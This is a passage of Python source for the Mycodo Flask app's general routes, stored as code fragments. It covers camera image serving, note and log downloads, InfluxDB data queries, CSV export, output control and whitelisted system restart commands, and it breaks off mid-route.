[ "# coding=utf-8\nimport calendar\nimport datetime\nimport logging\nimport subprocess\nimport time\nfrom importlib import import_module", "import flask_login\nimport os\nfrom dateutil.parser import parse as date_parse\nfrom flask import Response\nfrom flask import flash\nfrom flask import jsonify\nfrom flask import redirect\nfrom flask import send_file\nfrom flask import send_from_directory\nfrom flask import url_for\nfrom flask.blueprints import Blueprint\nfrom flask_babel import gettext\nfrom flask_limiter import Limiter\nfrom influxdb import InfluxDBClient\nfrom sqlalchemy import and_", "from mycodo.config import DOCKER_CONTAINER\nfrom mycodo.config import INFLUXDB_DATABASE\nfrom mycodo.config import INFLUXDB_HOST\nfrom mycodo.config import INFLUXDB_PASSWORD\nfrom mycodo.config import INFLUXDB_PORT\nfrom mycodo.config import INFLUXDB_USER\nfrom mycodo.config import INSTALL_DIRECTORY\nfrom mycodo.config import LOG_PATH\nfrom mycodo.config import PATH_CAMERAS\nfrom mycodo.config import PATH_NOTE_ATTACHMENTS\nfrom mycodo.databases.models import Camera\nfrom mycodo.databases.models import Conversion\nfrom mycodo.databases.models import DeviceMeasurements\nfrom mycodo.databases.models import Input\nfrom mycodo.databases.models import Math\nfrom mycodo.databases.models import NoteTags\nfrom mycodo.databases.models import Notes\nfrom mycodo.databases.models import Output\nfrom mycodo.databases.models import OutputChannel\nfrom mycodo.databases.models import PID\nfrom mycodo.devices.camera import camera_record\nfrom mycodo.mycodo_client import DaemonControl\nfrom mycodo.mycodo_flask.routes_authentication import clear_cookie_auth\nfrom mycodo.mycodo_flask.utils import utils_general\nfrom mycodo.mycodo_flask.utils.utils_general import get_ip_address\nfrom mycodo.mycodo_flask.utils.utils_output import get_all_output_states\nfrom mycodo.utils.database import db_retrieve_table\nfrom mycodo.utils.image import generate_thermal_image_from_pixels\nfrom mycodo.utils.influx import influx_time_str_to_milliseconds\nfrom mycodo.utils.influx import query_string\nfrom mycodo.utils.system_pi import assure_path_exists\nfrom mycodo.utils.system_pi import is_int\nfrom mycodo.utils.system_pi import return_measurement_info\nfrom mycodo.utils.system_pi import str_is_float", "blueprint = Blueprint('routes_general',\n __name__,\n static_folder='../static',\n template_folder='../templates')", "logger = logging.getLogger(__name__)", "limiter = Limiter(key_func=get_ip_address)", "\n@blueprint.route('/')\ndef home():\n \"\"\"Load the default landing page\"\"\"\n try:\n if flask_login.current_user.is_authenticated:\n if flask_login.current_user.landing_page == 'live':\n return redirect(url_for('routes_page.page_live'))\n elif flask_login.current_user.landing_page == 'dashboard':\n return redirect(url_for('routes_dashboard.page_dashboard_default'))\n elif flask_login.current_user.landing_page == 'info':\n return redirect(url_for('routes_page.page_info'))\n return redirect(url_for('routes_page.page_live'))\n except:\n logger.error(\"User may not be logged in. Clearing cookie auth.\")\n return clear_cookie_auth()", "@blueprint.route('/index_page')\ndef index_page():\n \"\"\"Load the index page\"\"\"\n try:\n if not flask_login.current_user.index_page:\n return home()\n elif flask_login.current_user.index_page == 'landing':\n return home()\n else:\n if flask_login.current_user.is_authenticated:\n if flask_login.current_user.index_page == 'live':\n return redirect(url_for('routes_page.page_live'))\n elif flask_login.current_user.index_page == 'dashboard':\n return redirect(url_for('routes_dashboard.page_dashboard_default'))\n elif flask_login.current_user.index_page == 'info':\n return redirect(url_for('routes_page.page_info'))\n return redirect(url_for('routes_page.page_live'))\n except:\n logger.error(\"User may not be logged in. Clearing cookie auth.\")\n return clear_cookie_auth()", "@blueprint.route('/settings', methods=('GET', 'POST'))\n@flask_login.login_required\ndef page_settings():\n return redirect('settings/general')", "\n@blueprint.route('/note_attachment/<filename>')\n@flask_login.login_required\ndef send_note_attachment(filename):\n \"\"\"Return a file from the note attachment directory\"\"\"\n file_path = os.path.join(PATH_NOTE_ATTACHMENTS, filename)\n if file_path is not None:\n try:", " if os.path.abspath(file_path).startswith(PATH_NOTE_ATTACHMENTS):\n return send_file(file_path, as_attachment=True)", " except Exception:\n logger.exception(\"Send note attachment\")", "\n@blueprint.route('/camera/<camera_unique_id>/<img_type>/<filename>')\n@flask_login.login_required\ndef camera_img_return_path(camera_unique_id, img_type, filename):\n \"\"\"Return an image from stills or time-lapses\"\"\"\n camera = Camera.query.filter(Camera.unique_id == camera_unique_id).first()\n camera_path = assure_path_exists(\n os.path.join(PATH_CAMERAS, '{uid}'.format(uid=camera.unique_id)))\n if img_type == 'still':\n if camera.path_still:\n path = camera.path_still\n else:\n path = os.path.join(camera_path, img_type)\n elif img_type == 'timelapse':\n if camera.path_timelapse:\n path = camera.path_timelapse\n else:\n path = os.path.join(camera_path, img_type)\n else:\n return \"Unknown Image Type\"", " if os.path.isdir(path):\n files = (files for files in os.listdir(path)\n if os.path.isfile(os.path.join(path, files)))\n else:\n files = []\n if filename in files:\n path_file = os.path.join(path, filename)", " if os.path.abspath(path_file).startswith(path):\n return send_file(path_file, mimetype='image/jpeg')", "\n return \"Image not found\"", "\n@blueprint.route('/camera_acquire_image/<image_type>/<camera_unique_id>/<max_age>')\n@flask_login.login_required\ndef camera_img_acquire(image_type, camera_unique_id, max_age):\n \"\"\"Capture an image and return the filename\"\"\"\n if image_type == 'new':\n tmp_filename = None\n elif image_type == 'tmp':\n tmp_filename = '{id}_tmp.jpg'.format(id=camera_unique_id)\n else:\n return\n path, filename = camera_record('photo', camera_unique_id, tmp_filename=tmp_filename)\n image_path = os.path.join(path, filename)\n time_max_age = datetime.datetime.now() - datetime.timedelta(seconds=int(max_age))\n timestamp = os.path.getctime(image_path)\n if datetime.datetime.fromtimestamp(timestamp) > time_max_age:\n date_time = datetime.datetime.fromtimestamp(timestamp).strftime('%Y-%m-%d %H:%M:%S')\n return_values = '[\"{}\",\"{}\"]'.format(filename, date_time)\n else:\n return_values = '[\"max_age_exceeded\"]'\n return Response(return_values, mimetype='text/json')", "\n@blueprint.route('/camera_latest_timelapse/<camera_unique_id>/<max_age>')\n@flask_login.login_required\ndef camera_img_latest_timelapse(camera_unique_id, max_age):\n \"\"\"Capture an image and/or return a filename\"\"\"\n camera = Camera.query.filter(\n Camera.unique_id == camera_unique_id).first()", " _, tl_path = utils_general.get_camera_paths(camera)", " timelapse_file_path = os.path.join(tl_path, str(camera.timelapse_last_file))", " if camera.timelapse_last_file is not None and os.path.exists(timelapse_file_path):\n time_max_age = datetime.datetime.now() - datetime.timedelta(seconds=int(max_age))\n if datetime.datetime.fromtimestamp(camera.timelapse_last_ts) > time_max_age:\n ts = datetime.datetime.fromtimestamp(camera.timelapse_last_ts).strftime(\"%Y-%m-%d %H:%M:%S\")\n return_values = '[\"{}\",\"{}\"]'.format(camera.timelapse_last_file, ts)\n else:\n return_values = '[\"max_age_exceeded\"]'\n else:\n return_values = '[\"file_not_found\"]'\n return Response(return_values, mimetype='text/json')", "\ndef gen(camera):\n \"\"\"Video streaming generator function.\"\"\"\n while True:\n frame = camera.get_frame()\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')", "\n@blueprint.route('/video_feed/<unique_id>')\n@flask_login.login_required\ndef video_feed(unique_id):\n \"\"\"Video streaming route. Put this in the src attribute of an img tag.\"\"\"\n camera_options = Camera.query.filter(Camera.unique_id == unique_id).first()\n camera_stream = import_module('mycodo.mycodo_flask.camera.camera_' + camera_options.library).Camera\n camera_stream.set_camera_options(camera_options)\n return Response(gen(camera_stream(unique_id=unique_id)),\n mimetype='multipart/x-mixed-replace; boundary=frame')", "\n@blueprint.route('/outputstate')\n@flask_login.login_required\ndef gpio_state():\n \"\"\"Return all output states\"\"\"\n return jsonify(get_all_output_states())", "\n@blueprint.route('/outputstate_unique_id/<unique_id>/<channel_id>')\n@flask_login.login_required\ndef gpio_state_unique_id(unique_id, channel_id):\n \"\"\"Return the GPIO state, for dashboard output \"\"\"\n channel = OutputChannel.query.filter(OutputChannel.unique_id == channel_id).first()\n daemon_control = DaemonControl()\n state = daemon_control.output_state(unique_id, channel.channel)\n return jsonify(state)", "\n@blueprint.route('/widget_execute/<unique_id>')\n@flask_login.login_required\ndef widget_execute(unique_id):\n \"\"\"Return the response from the execution of widget code \"\"\"\n daemon_control = DaemonControl()\n return_value = daemon_control.widget_execute(unique_id)\n return jsonify(return_value)", "\n@blueprint.route('/time')\n@flask_login.login_required\ndef get_time():\n \"\"\" Return the current time \"\"\"\n return jsonify(datetime.datetime.now().strftime('%m/%d %H:%M'))", "\n@blueprint.route('/dl/<dl_type>/<path:filename>')\n@flask_login.login_required\ndef download_file(dl_type, filename):\n \"\"\"Serve log file to download\"\"\"\n if dl_type == 'log':\n return send_from_directory(LOG_PATH, filename, as_attachment=True)", " return '', 204", "\n@blueprint.route('/last/<unique_id>/<measure_type>/<measurement_id>/<period>')\n@flask_login.login_required\ndef last_data(unique_id, measure_type, measurement_id, period):\n \"\"\"Return the most recent time and value from influxdb\"\"\"\n if not str_is_float(period):\n return '', 204", " if measure_type in ['input', 'math', 'function', 'output', 'pid']:\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " if measure_type in ['input', 'math', 'function', 'output', 'pid']:\n measure = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n else:\n return '', 204", " if measure:\n conversion = Conversion.query.filter(\n Conversion.unique_id == measure.conversion_id).first()\n else:\n conversion = None", " channel, unit, measurement = return_measurement_info(\n measure, conversion)", " if hasattr(measure, 'measurement_type') and measure.measurement_type == 'setpoint':\n setpoint_pid = PID.query.filter(PID.unique_id == measure.device_id).first()\n if setpoint_pid and ',' in setpoint_pid.measurement:\n pid_measurement = setpoint_pid.measurement.split(',')[1]\n setpoint_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == pid_measurement).first()\n if setpoint_measurement:\n conversion = Conversion.query.filter(\n Conversion.unique_id == setpoint_measurement.conversion_id).first()\n _, unit, measurement = return_measurement_info(setpoint_measurement, conversion)\n try:\n if period != '0':\n query_str = query_string(\n unit, unique_id,\n measure=measurement, channel=channel,\n value='LAST', past_sec=period)\n else:\n query_str = query_string(\n unit, unique_id,\n measure=measurement, channel=channel,\n value='LAST')\n if query_str == 1:\n return '', 204", " raw_data = dbcon.query(query_str).raw", " number = len(raw_data['series'][0]['values'])\n time_raw = raw_data['series'][0]['values'][number - 1][0]\n value = raw_data['series'][0]['values'][number - 1][1]\n value = float(value)\n # Convert date-time to epoch (potential bottleneck for data)\n dt = date_parse(time_raw)\n timestamp = calendar.timegm(dt.timetuple()) * 1000\n live_data = '[{},{}]'.format(timestamp, value)", " return Response(live_data, mimetype='text/json')\n except KeyError:\n logger.debug(\"No Data returned form influxdb\")\n return '', 204\n except IndexError:\n logger.debug(\"No Data returned form influxdb\")\n return '', 204\n except Exception as e:\n logger.exception(\"URL for 'last_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/past/<unique_id>/<measure_type>/<measurement_id>/<past_seconds>')\n@flask_login.login_required\ndef past_data(unique_id, measure_type, measurement_id, past_seconds):\n \"\"\"Return data from past_seconds until present from influxdb\"\"\"\n if not str_is_float(past_seconds):\n return '', 204", " if measure_type == 'tag':\n notes_list = []", " tag = NoteTags.query.filter(NoteTags.unique_id == unique_id).first()\n notes = Notes.query.filter(\n Notes.date_time >= (datetime.datetime.utcnow() - datetime.timedelta(seconds=int(past_seconds)))).all()", " for each_note in notes:\n if tag.unique_id in each_note.tags.split(','):\n notes_list.append(\n [each_note.date_time.strftime(\"%Y-%m-%dT%H:%M:%S.000000000Z\"), each_note.name, each_note.note])", " if notes_list:\n return jsonify(notes_list)\n else:\n return '', 204", " elif measure_type in ['input', 'math', 'function', 'output', 'pid']:\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " if measure_type in ['input', 'math', 'function', 'output', 'pid']:\n measure = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n else:\n measure = None", " if not measure:\n return \"Could not find measurement\"", " if measure:\n conversion = Conversion.query.filter(\n Conversion.unique_id == measure.conversion_id).first()\n else:\n conversion = None", " channel, unit, measurement = return_measurement_info(\n measure, conversion)", " if hasattr(measure, 'measurement_type') and measure.measurement_type == 'setpoint':\n setpoint_pid = PID.query.filter(PID.unique_id == measure.device_id).first()\n if setpoint_pid and ',' in setpoint_pid.measurement:\n pid_measurement = setpoint_pid.measurement.split(',')[1]\n setpoint_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == pid_measurement).first()\n if setpoint_measurement:\n conversion = Conversion.query.filter(\n Conversion.unique_id == setpoint_measurement.conversion_id).first()\n _, unit, measurement = return_measurement_info(setpoint_measurement, conversion)", " try:\n query_str = query_string(\n unit, unique_id,\n measure=measurement,\n channel=channel,\n past_sec=past_seconds)", " if query_str == 1:\n return '', 204", " raw_data = dbcon.query(query_str).raw", " if 'series' in raw_data and raw_data['series']:\n return jsonify(raw_data['series'][0]['values'])\n else:\n return '', 204\n except Exception as e:\n logger.debug(\"URL for 'past_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/generate_thermal_image/<unique_id>/<timestamp>')\n@flask_login.login_required\ndef generate_thermal_image_from_timestamp(unique_id, timestamp):\n \"\"\"Return a file from the note attachment directory\"\"\"\n ts_now = datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n camera_path = assure_path_exists(\n os.path.join(PATH_CAMERAS, '{uid}'.format(uid=unique_id)))\n filename = 'Still-{uid}-{ts}.jpg'.format(\n uid=unique_id,\n ts=ts_now).replace(\" \", \"_\")\n save_path = assure_path_exists(os.path.join(camera_path, 'thermal'))\n assure_path_exists(save_path)\n path_file = os.path.join(save_path, filename)", " dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " input_dev = Input.query.filter(Input.unique_id == unique_id).first()\n pixels = []\n success = True", " start = int(int(timestamp) / 1000.0) # Round down\n end = start + 1 # Round up", " start_timestamp = time.strftime('%Y-%m-%dT%H:%M:%S.000000000Z', time.gmtime(start))\n end_timestamp = time.strftime('%Y-%m-%dT%H:%M:%S.000000000Z', time.gmtime(end))", " for each_channel in range(input_dev.channels):\n measurement = 'channel_{chan}'.format(\n chan=each_channel)\n query_str = query_string(measurement, unique_id,\n start_str=start_timestamp,\n end_str=end_timestamp)\n if query_str == 1:\n logger.error('Invalid query string')\n success = False\n else:\n raw_data = dbcon.query(query_str).raw\n if not raw_data or 'series' not in raw_data or not raw_data['series']:\n logger.error('No measurements to export in this time period')\n success = False\n else:\n pixels.append(raw_data['series'][0]['values'][0][1])", " # logger.error(\"generate_thermal_image_from_timestamp: success: {}, pixels: {}\".format(success, pixels))", " if success:\n generate_thermal_image_from_pixels(pixels, 8, 8, path_file)\n return send_file(path_file, mimetype='image/jpeg')\n else:\n return \"Could not generate image\"", "\n@blueprint.route('/export_data/<unique_id>/<measurement_id>/<start_seconds>/<end_seconds>')\n@flask_login.login_required\ndef export_data(unique_id, measurement_id, start_seconds, end_seconds):\n \"\"\"\n Return data from start_seconds to end_seconds from influxdb.\n Used for exporting data.\n \"\"\"\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE, timeout=100)", " output = Output.query.filter(Output.unique_id == unique_id).first()\n input_dev = Input.query.filter(Input.unique_id == unique_id).first()\n math = Math.query.filter(Math.unique_id == unique_id).first()", " if output:\n name = output.name\n elif input_dev:\n name = input_dev.name\n elif math:\n name = math.name\n else:\n name = None", " device_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n if device_measurement:\n conversion = Conversion.query.filter(\n Conversion.unique_id == device_measurement.conversion_id).first()\n else:\n conversion = None\n channel, unit, measurement = return_measurement_info(\n device_measurement, conversion)", " utc_offset_timedelta = datetime.datetime.utcnow() - datetime.datetime.now()\n start = datetime.datetime.fromtimestamp(float(start_seconds))\n start += utc_offset_timedelta\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.fromtimestamp(float(end_seconds))\n end += utc_offset_timedelta\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, unique_id,\n measure=measurement, channel=channel,\n start_str=start_str, end_str=end_str)\n if query_str == 1:\n flash('Invalid query string', 'error')\n return redirect(url_for('routes_page.page_export'))\n raw_data = dbcon.query(query_str).raw", " if not raw_data or 'series' not in raw_data or not raw_data['series']:\n flash('No measurements to export in this time period', 'error')\n return redirect(url_for('routes_page.page_export'))", " # Generate column names\n col_1 = 'timestamp (UTC)'\n col_2 = '{name} {meas} ({id})'.format(\n name=name, meas=measurement, id=unique_id)\n csv_filename = '{id}_{name}_{meas}.csv'.format(\n id=unique_id, name=name, meas=measurement)\n import csv\n from io import StringIO", " def iter_csv(data):\n \"\"\" Stream CSV file to user for download \"\"\"\n line = StringIO()\n writer = csv.writer(line)\n writer.writerow([col_1, col_2])\n for csv_line in data:\n writer.writerow([\n str(csv_line[0][:-4]).replace('T', ' '),\n csv_line[1]\n ])\n line.seek(0)\n yield line.read()\n line.truncate(0)\n line.seek(0)", " response = Response(iter_csv(raw_data['series'][0]['values']), mimetype='text/csv')\n response.headers['Content-Disposition'] = 'attachment; filename=\"{}\"'.format(csv_filename)\n return response", "\n@blueprint.route('/async/<device_id>/<device_type>/<measurement_id>/<start_seconds>/<end_seconds>')\n@flask_login.login_required\ndef async_data(device_id, device_type, measurement_id, start_seconds, end_seconds):\n \"\"\"\n Return data from start_seconds to end_seconds from influxdb.\n Used for asynchronous graph display of many points (up to millions).\n \"\"\"\n if device_type == 'tag':\n notes_list = []\n tag = NoteTags.query.filter(NoteTags.unique_id == device_id).first()", " start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n if end_seconds == '0':\n end = datetime.datetime.utcnow()\n else:\n end = datetime.datetime.utcfromtimestamp(float(end_seconds))", " notes = Notes.query.filter(\n and_(Notes.date_time >= start, Notes.date_time <= end)).all()\n for each_note in notes:\n if tag.unique_id in each_note.tags.split(','):\n notes_list.append(\n [each_note.date_time.strftime(\"%Y-%m-%dT%H:%M:%S.000000000Z\"), each_note.name, each_note.note])", " if notes_list:\n return jsonify(notes_list)\n else:\n return '', 204", " dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " if device_type in ['input', 'math', 'function', 'output', 'pid']:\n measure = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n else:\n measure = None", " if not measure:\n return \"Could not find measurement\"", " if measure:\n conversion = Conversion.query.filter(\n Conversion.unique_id == measure.conversion_id).first()\n else:\n conversion = None\n channel, unit, measurement = return_measurement_info(\n measure, conversion)", " # Set the time frame to the past year if start/end not specified\n if start_seconds == '0' and end_seconds == '0':\n # Get how many points there are in the past year\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n value='COUNT')", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " count_points = raw_data['series'][0]['values'][0][1]\n # Get the timestamp of the first point in the past year\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n first_point = raw_data['series'][0]['values'][0][0]\n except:\n return '', 204", " end = datetime.datetime.utcnow()\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n # Set the time frame to the past start epoch to now\n elif start_seconds != '0' and end_seconds == '0':\n start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.utcnow()\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n value='COUNT',\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n count_points = raw_data['series'][0]['values'][0][1]\n except:\n return '', 204", " # Get the timestamp of the first point in the past year\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n start_str=start_str,\n end_str=end_str,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n first_point = raw_data['series'][0]['values'][0][0]\n except:\n return '', 204\n else:\n start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.utcfromtimestamp(float(end_seconds))\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n value='COUNT',\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n count_points = raw_data['series'][0]['values'][0][1]\n except:\n return '', 204", " # Get the timestamp of the first point in the past year\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n start_str=start_str,\n end_str=end_str,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n first_point = raw_data['series'][0]['values'][0][0]\n except:\n return '', 204", " start = datetime.datetime.strptime(\n influx_time_str_to_milliseconds(first_point),\n '%Y-%m-%dT%H:%M:%S.%f')\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " logger.debug('Count = {}'.format(count_points))\n logger.debug('Start = {}'.format(start))\n logger.debug('End = {}'.format(end))", " # How many seconds between the start and end period\n time_difference_seconds = (end - start).total_seconds()\n logger.debug('Difference seconds = {}'.format(time_difference_seconds))", " # If there are more than 700 points in the time frame, we need to group\n # data points into 700 groups with points averaged in each group.\n if count_points > 700:\n # Average period between input reads\n seconds_per_point = time_difference_seconds / count_points\n logger.debug('Seconds per point = {}'.format(seconds_per_point))", " # How many seconds to group data points in\n group_seconds = int(time_difference_seconds / 700)\n logger.debug('Group seconds = {}'.format(group_seconds))", " try:\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n value='MEAN',\n start_str=start_str,\n end_str=end_str,\n group_sec=group_seconds)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n return jsonify(raw_data['series'][0]['values'])\n except:\n return '', 204\n except Exception as e:\n logger.error(\"URL for 'async_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204\n else:\n try:\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " return jsonify(raw_data['series'][0]['values'])\n except Exception as e:\n logger.error(\"URL for 'async_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/async_usage/<device_id>/<unit>/<channel>/<start_seconds>/<end_seconds>')\n@flask_login.login_required\ndef async_usage_data(device_id, unit, channel, start_seconds, end_seconds):\n \"\"\"\n Return data from start_seconds to end_seconds from influxdb.\n Used for asynchronous energy usage display of many points (up to millions).\n \"\"\"\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " # Set the time frame to the past year if start/end not specified\n if start_seconds == '0' and end_seconds == '0':\n # Get how many points there are in the past year\n query_str = query_string(\n unit, device_id,\n channel=channel,\n value='COUNT')", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " count_points = raw_data['series'][0]['values'][0][1]\n # Get the timestamp of the first point in the past year\n query_str = query_string(\n unit, device_id,\n channel=channel,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " first_point = raw_data['series'][0]['values'][0][0]\n end = datetime.datetime.utcnow()\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n # Set the time frame to the past start epoch to now\n elif start_seconds != '0' and end_seconds == '0':\n start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.utcnow()\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, device_id,\n channel=channel,\n value='COUNT',\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " count_points = raw_data['series'][0]['values'][0][1]\n # Get the timestamp of the first point in the past year", " query_str = query_string(\n unit, device_id,\n channel=channel,\n start_str=start_str,\n end_str=end_str,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " first_point = raw_data['series'][0]['values'][0][0]\n else:\n start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.utcfromtimestamp(float(end_seconds))\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, device_id,\n channel=channel,\n value='COUNT',\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " count_points = raw_data['series'][0]['values'][0][1]\n # Get the timestamp of the first point in the past year", " query_str = query_string(\n unit, device_id,\n channel=channel,\n start_str=start_str,\n end_str=end_str,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " first_point = raw_data['series'][0]['values'][0][0]", " start = datetime.datetime.strptime(\n influx_time_str_to_milliseconds(first_point),\n '%Y-%m-%dT%H:%M:%S.%f')\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " logger.debug('Count = {}'.format(count_points))\n logger.debug('Start = {}'.format(start))\n logger.debug('End = {}'.format(end))", " # How many seconds between the start and end period\n time_difference_seconds = (end - start).total_seconds()\n logger.debug('Difference seconds = {}'.format(time_difference_seconds))", " # If there are more than 700 points in the time frame, we need to group\n # data points into 700 groups with points averaged in each group.\n if count_points > 700:\n # Average period between input reads\n seconds_per_point = time_difference_seconds / count_points\n logger.debug('Seconds per point = {}'.format(seconds_per_point))", " # How many seconds to group data points in\n group_seconds = int(time_difference_seconds / 700)\n logger.debug('Group seconds = {}'.format(group_seconds))", " try:\n query_str = query_string(\n unit, device_id,\n channel=channel,\n value='MEAN',\n start_str=start_str,\n end_str=end_str,\n group_sec=group_seconds)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " return jsonify(raw_data['series'][0]['values'])\n except Exception as e:\n logger.error(\"URL for 'async_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204\n else:\n try:\n query_str = query_string(\n unit, device_id,\n channel=channel,\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " return jsonify(raw_data['series'][0]['values'])\n except Exception as e:\n logger.error(\"URL for 'async_usage' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/output_mod/<output_id>/<channel>/<state>/<output_type>/<amount>')\n@flask_login.login_required\ndef output_mod(output_id, channel, state, output_type, amount):\n \"\"\" Manipulate output (using non-unique ID) \"\"\"\n if not utils_general.user_has_permission('edit_controllers'):\n return 'Insufficient user permissions to manipulate outputs'", " if is_int(channel):\n # if an integer was returned\n output_channel = int(channel)\n else:\n # if a channel ID was returned\n channel_dev = db_retrieve_table(OutputChannel).filter(\n OutputChannel.unique_id == channel).first()\n if channel_dev:\n output_channel = channel_dev.channel\n else:\n return \"Could not determine channel number from channel ID '{}'\".format(channel)", " daemon = DaemonControl()\n if (state in ['on', 'off'] and str_is_float(amount) and\n (\n (output_type in ['sec', 'pwm'] and float(amount) >= 0) or\n output_type == 'vol' or\n output_type == 'value'\n )):\n out_status = daemon.output_on_off(\n output_id,\n state,\n output_type=output_type,\n amount=float(amount),\n output_channel=output_channel)\n if out_status[0]:\n return 'ERROR: {}'.format(out_status[1])\n else:\n return 'SUCCESS: {}'.format(out_status[1])\n else:\n return 'ERROR: unknown parameters: ' \\\n 'output_id: {}, channel: {}, state: {}, output_type: {}, amount: {}'.format(\n output_id, channel, state, output_type, amount)", "\n@blueprint.route('/daemonactive')\n@flask_login.login_required\ndef daemon_active():\n \"\"\"Return 'alive' if the daemon is running\"\"\"\n try:\n control = DaemonControl()\n return control.daemon_status()\n except Exception as e:\n logger.error(\"URL for 'daemon_active' raised and error: \"\n \"{err}\".format(err=e))\n return '0'", "\n@blueprint.route('/systemctl/<action>')\n@flask_login.login_required\ndef computer_command(action):\n \"\"\"Execute one of several commands as root\"\"\"\n if not utils_general.user_has_permission('edit_settings'):\n return redirect(url_for('routes_general.home'))", " try:\n if action not in ['restart', 'shutdown', 'daemon_restart', 'frontend_reload']:\n flash(\"Unrecognized command: {action}\".format(\n action=action), \"success\")\n return redirect('/settings')", " if DOCKER_CONTAINER:\n if action == 'daemon_restart':\n control = DaemonControl()\n control.terminate_daemon()\n flash(gettext(\"Command to restart the daemon sent\"), \"success\")\n elif action == 'frontend_reload':\n subprocess.Popen('docker restart mycodo_flask 2>&1', shell=True)\n flash(gettext(\"Command to reload the frontend sent\"), \"success\")\n else:\n cmd = '{path}/mycodo/scripts/mycodo_wrapper {action} 2>&1'.format(\n path=INSTALL_DIRECTORY, action=action)\n subprocess.Popen(cmd, shell=True)", " if action == 'restart':\n flash(gettext(\"System rebooting in 10 